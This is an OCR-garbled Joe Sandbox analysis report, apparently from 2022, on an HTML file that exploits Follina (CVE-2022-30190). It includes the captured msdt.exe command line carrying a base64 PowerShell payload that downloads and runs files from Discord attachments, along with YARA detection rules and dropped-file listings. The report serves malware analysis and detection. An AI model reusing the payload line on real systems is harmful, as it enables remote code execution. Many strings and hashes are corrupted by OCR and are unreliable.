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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\49134c5f-cfd5-413f-aaad-ff1bdd191560.tmp 17
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\4c55e695-5544-4c6d-90bf-bd9276791568.tmp 17
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\71ba096d-ae0e-4b31-86e1-9c83e5fce3fe.tmp 18
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\93111f39-a0bf-461c-9ac4-80bea82791b0.tmp 19
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9b569040-4716-46¢0-8de7-194d440b05ba.tmp 19
C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json 19
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log 20
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Windows Analysis Report

nFOtrs9UzA.html

Overview

General Information

Sample nFOtrsQUzA.html

Name:

Analysis ID: 645982

MD5: €84460851147b8.
SHAL: d3fd435c851b13..
SHA256: c61fe40f46226d2.

Infos: Mg Em
Process Tree

= System is w10x64

Detection

F MALICIOUS 1

Follina CVE-2022-
30190
Range: 0-100
Whitelisted: false
Confidence: 100%

Signatures

Multi AV Scanner detection for subm...

Yara detected Microsoft Office Expl...

Found a high number of Window / U...
Yara signature match

Drops PE files

Very long cmdline option found, this...
PE file contains sections with non-s...

IP address seen in connection with ...

Classification

. C-" chrome.exe (PID: 6008 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\nF0trs9UzA.html
MD5: C139654B5C1438A95B321BB01AD63EF6)

. G chrome.exe (PID: 2092 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-
handle=1556,10822360021867408005,7468589743208575355,131072 --lang=en-GB --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-

handle=1960 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

o [:&l msdt.exe (PID: 6784 cmdline: "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_Launc
hMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression(‘[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]' +[cha
r|58+[char]58+'FromBase64String(‘+[char]34+'SW52b2tILVdIY1JlcXVIc3QgaHROCHM6ELY9jZG4uZGlzY29yZGFwcC5jb20vY XROYWNobWVudHMvO TgONjg5O0DU40DMwMjcw
NDc3Lzk4NjQyMjI3NzMxNjkzOTgxNi9jLmJIhdCAtT3VORmIsZSBDOIxXaW5kb3dzXFRhc2tzXGMuYmFOIDsgU3RhcnQtUHJVY 2VzeyAtRmIsZVBhdGggJOMEXFdpbmRvd3
NcVGFza3NcYy5iYXQnIC1XaW5kb3dTdHIsZSBlIaWRkZW47IEludm9rZS1XZWJISZXF1ZXNOIGh0dHBzOi8vY2RuLmRpc2NvemRhcHAUY 29tL2F0dGFjaG1lbnRzLzk4NTM2
Mzc3M;jIxNjYwNjcIMC850DUzNjQXxMTE4NzEzZMTUSNjgvV29yZC5leGUgLU91dEZpbGUgQzpcV2IuZG93c1xUY XNrc1xXb3IKLmV4ZTsgQzpcV2IuZG93c1xUY XNrclxXb3
IKLMVAZSAT+[char]34+))W))il..l.J.).].]. . d. ] ]..].]..J../Windows/System32/mpsigstub.exe%22 MD5: 8BE43BAF1F37DA5AB31A53CA1CO7EEOC)

= cleanup

Malware Configuration

@ No configs have been found

Yara Signatures

Initial Sample

Source

Copyright Joe Security LLC 2022

Rule

Description

Author Strings
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Source

nFOtrsQUzA .html

nFOtrsQUzA .html

nFOtrsQUzA .html

Memory Dumps

Source

0000000C.00000002.669283741.000002CBFCE9
0000.00000004.00000020.00020000.00000000.sdmp

0000000C.00000002.669283741.000002CBFCE9
0000.00000004.00000020.00020000.00000000.sdmp

0000000C.00000002.669847334.000002CBFD11
4000.00000004.00000020.00020000.00000000.sdmp

0000000C.00000002.669847334.000002CBFD11
4000.00000004.00000020.00020000.00000000.sdmp

Process Memory Space: msdt.exe PID: 6784

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

@ No Snort rule has matched

Joe Sandbox Signatures

Copyright Joe Security LLC 2022

Rule

SUSP_Encoded_D
iscord_Attachment
_Oct21_1

EXPL_Follina_CV
E_2022_30190_M
sdt_MSProtocolUR
|_May22

JoeSecurity_Follin
a

Rule

SUSP_Encoded_D
iscord_Attachment
_Oct21_1

JoeSecurity_Follin
a

SUSP_Encoded_D
iscord_Attachment
_Oct21_1

JoeSecurity_Follin
a

SUSP_Encoded_D
iscord_Attachment
_Oct21_1

Description

Detects suspicious
encoded URL to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Detects the
malicious usage of
the ms-msdt URI
as seen in CVE-
2022-30190 /
Follina exploitation

Yara detected
Microsoft Office
Exploit Follina /
CVE-2022-30190

Description

Detects suspicious
encoded URL to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Yara detected
Microsoft Office
Exploit Follina /
CVE-2022-30190

Detects suspicious
encoded URL to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Yara detected
Microsoft Office
Exploit Follina /
CVE-2022-30190

Detects suspicious
encoded URL to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Author

Florian Roth

Tobias Michalski,
Christian Burkard

Joe Security

Author

Florian Roth

Joe Security

Florian Roth

Joe Security

Florian Roth

Strings

.

.

0x263:$enc_b01: Y2RuLmRpc2NvemRhcHAUY 29tL2F0d
GFjaG1lbnRz
0x152:$enc_b03: jZG4uZGlzY29yZGFwcC5jb20vYXROY
WNobWVudH

0x8:$rel: location.href = "ms-msdt:

Strings

.

.

.

.

.

0x28f2:$enc_b01:
Y2RuLmRpc2NvemRhcHAUY29tL2F0dGFjaG1lbnRz
0x3d88:$enc_b01: Y2RuLmRpc2NvemRhcHAuUY29tL2F0
dGFjaG1lbnRz

0x26d0:$enc_b03: ZG4uZGlzY29yZGFwcC5jb20vYXR0
YWNobWVudH

0x3c77:$enc_b03: jZG4uZGlzY29yZGFwcC5jb20vYXR0O
YWNobWVudH

0x29f4:$enc_b01:
Y2RuLmRpc2NvemRhcHAUY29tL2F0dGFjaG1llbnRz
0x27d2:$enc_b03: jZG4uZGlzY29yZGFwcC5jb20vYXRO
YWNobWVudH

0x2c04:$enc_b01: Y2RuLmRpc2NvemRhcHAUY29tL2F0
dGFjaG1lbnRz

Oxedal:$enc_b01: Y2RuLmRpc2NvemRhcHAUY29tL2F0
dGFjaG1lbnRz

0xf277:$enc_bO01:
Y2RuLmRpc2NvemRhcHAUY29tL2F0dGFjaG1llbnRz
0x2af3:$enc_b03: jZG4uZGlzY29yZGFwcC5jb20vYXROY
WNobWVudH

0xec90:$enc_b03: jZG4uZGlzY29yZGFwcC5jb20vYXR0O
YWNobWVudH

0xf166:$enc_b03: jZG4uZGlzY29yZGFwcC5jb20vYXROY
WNobWVudH
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AV Detection

Multi AV Scanner detection for submitted file

Exploits

Yara detected Microsoft Office Exploit Follina CVE-2022-30190

Mitre Att&ck Matrix
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Behavior Graph
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Process

Signature

Created File

DNS/IP Info
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Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

192.168.2.1 239.255.255.250
unknown unknown dropped dropped dropped dropped
unknown Reserved Is malicious
Internet
C:\..\pnacl_public_x86_64_pnacl_sz_nexe, ELF C:\...\pnacl_public_x86_64_pnacl_lic_nexe, ELF Ci\Usersuser\...\pnacl_public_x86_64_Id_nexe, ELF cal Datal. dll, PE32+ \
chrome.exe ' msdt.exe o

clients.l.google.com

142.250.203.110, 443, 49735, 56511
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Screenshots
Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

172.217.168.4
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United States E=5
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=

accounts.goo;

43, 49734

2 IPs or domains
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@ nFOtrs3UzA html x 4+

C @ File | Cy/Usersfjones/Desktop/nFOtrs9UzA html

Chrome is being controlled by automated test soft

[ Microsoft Support Diagnostic Tool

Enter the passkey provided by your support professional.

Support Provider:
Microsoft

Read the Microsoft support privacy statement online

Cancel

« R - - = & <0 o F

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection
nFOtrsQUZzA.html 43%
nFOtrsQUZzA.html 35%
Dropped Files

Source Detection
C:\Users\user\AppData\Local\Temp\6008_103567953\_platform_specific\win_x64\widevinecdm.dll 0%
C:\Users\user\AppData\Local\Temp\6008_103567953\_platform_specific\win_x64\widevinecdm.dll 0%
C:\Users\user\AppData\Local\Temp\6008_103567953\_platform_specific\win_x64\widevinecdm.dll 0%
C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x8 0%
6_64_|d_nexe

C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x8 0%
6_64_|d_nexe

C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x8 0%
6_64_|d_nexe

C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x8 0%

6_64_pnacl_llc_nexe

C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x8 0%
6_64_pnacl_llc_nexe

Copyright Joe Security LLC 2022

Scanner

Virustotal

ReversingLabs

Scanner

Virustotal
Metadefender
ReversingLabs

Virustotal

Metadefender

ReversingLabs

Virustotal

Metadefender

Label

Document-
HTML.Exploit. CVE
-2022-30190

Label

Link

Browse

Link
Browse

Browse

Browse

Browse

Browse

Browse
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https://www.virustotal.com/gui/file/c61fe40f46226d24f0f17c46acc4db6a0091c68abc6a3d995b3f6df1bbfcbb1e/detection/f-c61fe40f46226d24f0f17c46acc4db6a0091c68abc6a3d995b3f6df1bbfcbb1e-1655252242
https://www.virustotal.com/gui/file/6cb80d4b43b81d2c1df133565638d3471e108702ae5faed47300f3ae15baa33d/detection/f-6cb80d4b43b81d2c1df133565638d3471e108702ae5faed47300f3ae15baa33d-1654813273
https://www.metadefender.com/#!/results/file/YnpJeU1EVXhNa05JWlRaeE1WWkpPUWVHLXc4TGUwTjI/regular/analysis
https://www.virustotal.com/gui/file/c6c2d0c2fc3e38a9bfa19c78066439c2f745393f1fd1c49c3c6777f697222c76/detection/f-c6c2d0c2fc3e38a9bfa19c78066439c2f745393f1fd1c49c3c6777f697222c76-1654183012
https://www.metadefender.com/#!/results/file/bzIyMDQwM29LMEVDNWVzU1NUcjVMWl9yN2U/regular/analysis
https://www.virustotal.com/gui/file/2f4a3a0730142c5ee4fa2c05d27a5defc18886a382d45f5db254b61b28ed642b/detection/f-2f4a3a0730142c5ee4fa2c05d27a5defc18886a382d45f5db254b61b28ed642b-1650557909
https://www.metadefender.com/#!/results/file/bzIyMDIwN1VUZHdoT3ZHM0QwX2tlMk51MHo/regular/analysis

Source Detection Scanner Label Link
C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x8 0% ReversingLabs
6_64_pnacl_llc_nexe
C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x8 0% Virustotal Browse
6_64_pnacl_sz_nexe
C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x8 0% Metadefender Browse
6_64_pnacl_sz_nexe
C:\Users\user\AppData\Local\Temp\6008_2142786305\_platform_specific\x86_64\pnacl_public_x8 0% ReversingLabs
6_64_pnacl_sz_nexe

Unpacked PE Files

@ No Antivirus matches

Domains

@ No Antivirus matches

URLs

Source Detection Scanner Label Link
http://https://dns.google 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name IP Active Malicious Antivirus Detection Reputation
accounts.google.com 172.217.168.45 true false high
clients.l.google.com 142.250.203.110 true false high
clients2.google.com unknown unknown  false high
Contacted URLs

Name Malicious Antivirus Detection Reputation
http://https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard false high
http://https://clients2.google.com/service/update2/crx? false high
os=win&arch=x64&0s_arch=x86_64&nacl_arch=x86-
64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-
GB&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26install
edby%3Dother%26uc%26ping%3Dr%253D-
1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby
%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1

URLs from Memory and Binaries

Name Source Malicious  Antivirus Detection Reputation
http:{/https://dns.google 852c6bac-e52¢-4c65-bdcf-2d6bef49ch3b.tmp.1.dr, 931 false e URL Reputation: safe unknown

11f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr

http:{/https://github.com/google/closure- craw_window.js.0.dr, craw_background.js.0.dr false high
library/wiki/goog.module:-an-ES6-module-like-
alternative-to-goog.p
http:{fhttps://www.google.com/intl/en- craw_background.js.0.dr false high
US/chrome/blank.html
http://https://ogs.google.com 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr false high
http://https:/iwww.google.com/images/cleardot.gif craw_window.js.0.dr false high
http://https://play.google.com 93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr false high
http:/f craw_window.js.0.dr, manifest.json1.0.dr false high
https://payments.google.com/payments/v4/js/integrator
s
http:/f pnacl_public_x86_64_crtend_o.0.dr, pnacl_public_x8  false high
https://chromium.googlesource.com/a/native_client/pn  6_64_ld_nexe.0.dr
acl-livm.git
http://https://easylist.to/) LICENSE.txt.0.dr false high
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https://www.virustotal.com/gui/file/6aa1da6c264e0af4e32a004f4076c7557c6ac6d9c38b0c5de97302d83fa248c3/detection/f-6aa1da6c264e0af4e32a004f4076c7557c6ac6d9c38b0c5de97302d83fa248c3-1654449726
https://www.metadefender.com/#!/results/file/bzIyMDIwOTNRdXBKT0h5YU53TklPTDU2b3Bs/regular/analysis

Name

http:i/

https://sandbox.google.com/payments/v4/js/integrator.j

s
hitp:// https://www.google.com/images/x2.gif
http://https://accounts.google.com/MergeSession

hitp:/fllvm.org/):

http://https://creativecommons.org/compatiblelicenses

hitp:/fhttps://www.google.com
http://https://www.google.com/images/dot2.gif
hitp:/f https://github.com/easylist)
http://https://creativecommons.org/.

http:/f

https://code.google.com/p/nativeclient/issues/entry%s:

http:i/

https://code.google.com/p/nativeclient/issues/entry
hitp://https://accounts.google.com
http://https://clients2.googleusercontent.com

hitp://https://apis.google.com

http://https://www.google.com/accounts/OAuthLogin?

issueuberauth=1
hitp:// https://www.google.com/

http://https://www-googleapis-
staging.sandbox.google.com

http:/f

https://chromium.googlesource.com/a/native_client/pn

acl-clang.git
http://https://clients2.google.com

hitp://https://clients2.google.com/service/update2/crx

World Map of Contacted IPs

[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
B 75% <No. of IPs

Public IPs
P Domain

172.217.168.45 accounts.google.com

239.255.255.250 unknown

142.250.203.110 clients.l.google.com

Copyright Joe Security LLC 2022

Source

craw_window.js.0.dr, manifest.json1.0.dr

craw_window.js.0.dr
craw_window.js.0.dr

pnacl_public_x86_64_pnacl_sz_nexe.0.dr, pnacl_publ
ic_x86_64_pnacl_llc_nexe.0.dr

LICENSE.txt.0.dr
93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr
craw_window.js.0.dr

LICENSE.txt.0.dr

LICENSE.txt.0.dr

pnacl_public_x86_64_Id_nexe.0.dr

pnacl_public_x86_64_Id_nexe.0.dr

93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr
93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr
93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr

craw_window.js.0.dr

manifest.json1.0.dr

craw_window.js.0.dr, craw_background.js.0.dr

pnacl_public_x86_64_crtend_o.0.dr, pnacl_public_x8
6_64_|d_nexe.O0.dr

93111f39-a0bf-461c-9ac4-80bea82791b0.tmp.1.dr

manifest.json8.0.dr, manifest.json1.0.dr, manifest
.json4.0.dr, manifest.json6.0.dr

Country Flag
United States =
Reserved
United States =

Malicious

false

false
false

false

false
false
false
false
false

false

false

false
false
false

false

false

false

false

false

false

ASN

15169
unknown

15169

Antivirus Detection

ASN Name
GOOGLEUS
unknown

GOOGLEUS

Rep!

high

high
high
high

high
high
high
high
high
high

high

high
high
high
high

high
high

high

high
high

utation

Malicious
false
false

false

Page 11 of 52



Private

P

192.168.2.1

127.0.0.1

General Information

Joe Sandbox Version: 35.0.0 Citrine
Analysis ID: 645982

Start date and time: 15/06/202209:11:10 2022-06-15 09:11:10 +02:00
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 8m 6s
Hypervisor based Inspection enabled: false

Report type: light

Sample file name: nFOtrsQUzA.html
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 28

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: e HCA enabled

e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal56.expl.winHTML@38/155@2/5
EGA Information: Failed

HDC Information: Failed

HCA Information:

.

Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

.

.

Cookbook Comments:

.

Found application associated with file extension: .html
Adjust boot time
Enable AMSI

.

.

Warnings

e Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe,
svchost.exe, wuapihost.exe

e Created / dropped Files have been reduced to 100

e Excluded IPs from analysis (whitelisted): 172.217.168.14, 74.125.162.40, 172.217.168.67, 142.250.203.99

e Excluded domains from analysis (whitelisted): r4---sn-4g5lznek.gvtl.com, r3.sn-4g5Iznek.gvtl.com, r5---sn-4g5ednkl.gvtl.com, clientservices.googleapis.com, rl---sn-4g5e6nsz.gvtl.com,

r5---sn-4g5e6nsr.gvtl.com, arc.msn.com, redirector.gvtl.com, login.live.com, r2---sn-4g5Iznlz.gvtl.com, sls.update.microsoft.com, update.googleapis.com, displaycatalog.mp.micros

oft.com, img-prod-cms-rt-microsoft-com.akamaized.net, www.gstatic.com, r3---sn-4g5lznek.gvtl.com, r4---sn-4g5Iznez.gvtl.com, www.bing.com, fs.microsoft.com, r5---sn-4g5Iznle.gvtl.c

om, r2---sn-4g5ednld.gvtl.com, ris.api.iris.microsoft.com, store-images.s-microsoft.com, r3---sn-4g5Iznl6.gvtl.com, r5---sn-4g5e6nz7.gvtl.com, r5---sn-4g5Izne6.gvtl.com

Not all processes where analyzed, report is missing behavior information

Report size getting too big, too many NtCreateFile calls found.

Report size getting too big, too many NtOpenFile calls found.

Report size getting too big, too many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtSetinformationFile calls found.

Report size getting too big, t oo many NtWriteVirtualMemory calls found.

e o o o o o

Simulations

Behavior and APIs

@ No simulations
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Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Users\user\AppData\Local\Google\Chrome\User Data\13726e05-4cda-4eef-820e-5588eba578fe.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

205226

6.044727850095146

false

6144:Vhrlcj9+hP1pWIVB6FykaqfllUO0SiuRr:Vhhcj9+YbBgQoc
06EDA19078EE27610F15B00E9884C5D4
4FF7390B31953C38D04C3039B89E644FF8C124BA
61A7EDAE1CAAB7C3BF2D124059CF6C8F31383119EA85D70FB614157131FB8EA9
187266E70C926FB97C92BF9945A5D15B382094FD98290052702FD81C7C91F31273CC54FESDEECD574CFB790863B14CD1196E76DA07C871480348E549F3CE3CB
false

low

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"local":1.655277139955358e+12,"network":1.655277141e+12,"ticks":115955124.0,"uncertainty":3978097.0}},"os_crypt":{"encry
pted_key":"RFBBUEKBAAAAOQIlyd3wEVORGMegDAT8KX6WEAAABaHIwIoHYIQKZwuwW8VOyxAAAAAAIAAAAAABBMAAAAAQAAIAAAAOT48ZMIUL1ZXX60EUPPq
1YBIjSIOILGeiMKilFJZDroAAAAAABAAAAAAGAAIAAAAFW1OavBhyV7qwszP ZbindD+KU20sh507HSmDPpFnuCDMAAAAGEKmgbufgFUSMOzx4cW7Aup7spap
s4DvgbPrwRgUGQSpRZvQkbO+yVH56WFIzMTtOAAAAAYRWLY xjf7/AQYrFroJZ6kbTiUt0/2PKkCw7ntLtbN2qrad713MeL4iNGDFgqRIhWgsh/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129572382"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\788a8dfd-dec9-4b63-953b-fbc6f9428728.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text, with very long lines, with no line terminators
dropped

204960

6.04412881521732

false
6144:Zhrlcj9+hP1pWIVB6FykaqgfllUOoSiuRr:Zhhcj9+YbBgQoc
AB0DF26881AC37C98900097ADDIB652E
CDAD7E8C2BCB631CD9B209B59177909D12511089
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SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

0D87DBBB507EF726C6993CDDCB41E249D3812F7C8AAC53B8DE14F776021D6E8O

8C18D6BCCEBODB5A46772FC368C17319CD3E03F407D10FF90D12EBSFEFD2C5ABD4481B684BFD89D107F08C825D9554524AD57D11A65375BAA09C5BABCEFFS
0A

false
low

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"'local":1.655277139955358e+12,"network":1.655277141e+12,"ticks":115955124.0,"uncertainty":3978097.0}},"os_crypt":{"encry
pted_key":"RFBBUEKBAAAAOIlyd3wEVORGMegDAT8KX6WEAAABaHIwIoHYIQKZwuwW8VOyxAAAAAAIAAAAAABBMAAAAAQAAIAAAAOT48ZMIULZXX60EUPPq
1YBIjSIOILGeiMKilFJZDroAAAAAABAAAAAAGAAIAAAAFW10avBhyV7qwszPZbindD+KU20sh507HSmDPpFnuCDMAAAAGEkmabufgFUSmMOzx4cW7Aup7spgp
s4DvgbPrwRgUGQSpRZvQkbO+yVH56WFIzMTtOAAAAAYRWtY xjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qgrad713MeL4iNGDFgqRIhWgsb/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129572382"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\7flac12e-3b21-416c-8d65-b4766f2e0084.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

101472

3.7502199969174876

false

384:+f+Vh/Y2shDsZYN5rSv9/K3mpDCHTaGKdros9Cc5ux|7pLPzOrMhm806Y XppBWO6:i2ct2ws+keGKtsrAfTCnKBXdFv
7DD8FEOE7FEOF083B25F261023E4D9FD

54BCBF6B6376906C05CDA49BBAAB35FIB74C83CC
F6CA0265EFCE25D3557CE2B0B2AFD68E1729CDEF0210C4BOCE7F50748B59CD28

F3EE3043A9145617AD6D9955D190E47FAE3C7C31354C71A08E9E79DFDEB92C4CB7CAE394026490324CF8E47D8D6D00E635273E804058C6F3F9DC41D3D37289!
8

false

low

.C..\\P.R.0.G.RA~1\M.IC.R.O.S.~.1\.0fficel6\G.RO.0O.V.EEX.D.LL.PL.)..%.p.ro.gramfiles.%.\m.icro.s.oft .officeloffic.e
.1.6.\....g.ro.ov.eex..dll..Micros.oft .Office. .2.0.1.6..*.Micr.os.0ft .O.n.eDuriv.e. for. Bus.ines.s. .Exte.ns.ions...16..0..4711.10
.0.0....*..C..\P.R.0.G.RA~1\M.I.C.R.0.S.~.1\.0fficel6\GR.O.0.V.EEX..DL.L...Micros.o.ft .Co.rp.oration.'8D..C.:\P.ro.gram. .Files\C.o
.m.m.o.n. .F.ile.s\M..c.r.os.oft .S.hared\O.F.FICE.1.6.\ms.os.h.ext.dl.@...U/.%.comm.o.n.p.r.ogramfiles.%.\m.ic.ro.s.oft shared\o.f
ficel6\...msoshext.dll..Microso.ft Offic.e)..Micros.o.ft .Office. .Shell Extens.io.n. Handlers.....16..0.426.6..10.0.1..D..C
2\P.ro.gram.

C:\Users\user\AppData\Local\Google\Chrome\User Data\82db9c85-4581-46ec-9c53-a365f8b44680.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

modified

205404

6.045086396902554

false

6144:ghrlcj9+hP1pWIVB6FykaqfllUOoSiuRr:ghhcj9+YbBgQoc
482823825853D10ED87AF2D809DE13D5
EFD4E199F52AEF92A28A00379A1E17CD21B06CB3
7TAF77F9B28CE99B7EG8EC7258E50B52C7DAB1432520425FB2898AF3C31244385
8F33EOEB6AEB9023F9D903C44C81D855F9724DF773DA00BF941EAB1821D9D8611A5D78444FE12372C7D99D6D4DF2A9942FF6COFFFB1C6E1A8337238A270764E
false

low

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping"{'local":1.655277139955358e+12,"network":1.655277141e+12,"ticks":115955124.0,"uncertainty":3978097.0}},"os_crypt":{"encry
pted_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABaHIwloHYIQKZwuwW8VOyxAAAAAAIAAAAAABBMAAAAAQAAIAAAAOT4AI8ZmIULzXX60EUPPY
1YBIjSIOILGeiMKilFJZDroAAAAAABAAAAAAGAAIAAAAFW10avBhyV7qwszPZbindD+KU20sh507HSmDPpFnuCDMAAAAGEKkmgbufgFUSmMOzx4cW7Aup7spap
s4DvgbPrwRgUGQSpRZvQkbO+yVH56WF9zMTtOAAAAAYRWLY xjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2grad713MeL4iINGDFgqRIhWgsbh/6w0gJzQxAfL6rdzxi"},
"password_manager":{"os_password_blank":true,"os_password_last_changed":"13291206129572382"},"plugins":{"metadata":{"adobe-flash-player":{"d

C:\Users\user\AppData\Local\Google\Chrome\User Data\936fe883-afc1-428a-a348-472543343c3d.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text, with very long lines, with no line terminators
dropped

213026

6.070829459502266

false

6144:N5hrlcj9+hP1pWIVB6FykaqfllUOoSiuRr:N5hhcj9+YbBgQoc
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MD5:
SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

1D76CA9EBB68F795586B8101418EA5F2
47A4257030A138DASA51EC03A05761186140F096
21FC88A407244FE75875F4F9AD772016BC4AD1D6CBB5648COE463DAF20FA4CA2

4161BABA83056607D18959F1DB5999F09F966FA4BBESA59C853BB54486284DBDD2F8CB15D3DCF7C13EE1IFA0149BD3FBC2EAEEB1C5F8EA8BAF02BB7257AC3D1
33C

false
low

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"legacy":{"profile":{"name":{"migrated":true}}},
"network_time":{"network_time_mapping":{"'local":1.655277139955358e+12,"network":1.655277141e+12,"ticks":115955124.0,"uncertainty":3978097.0}},"os_crypt":{"encry
pted_key":"RFBBUEKBAAAAOIlyd3wEVORGMegDAT8KX6WEAAABaHIwIoHYIQKZwuwW8VOyxAAAAAAIAAAAAABBMAAAAAQAAIAAAAOT48ZMIULZXX60EUPPq
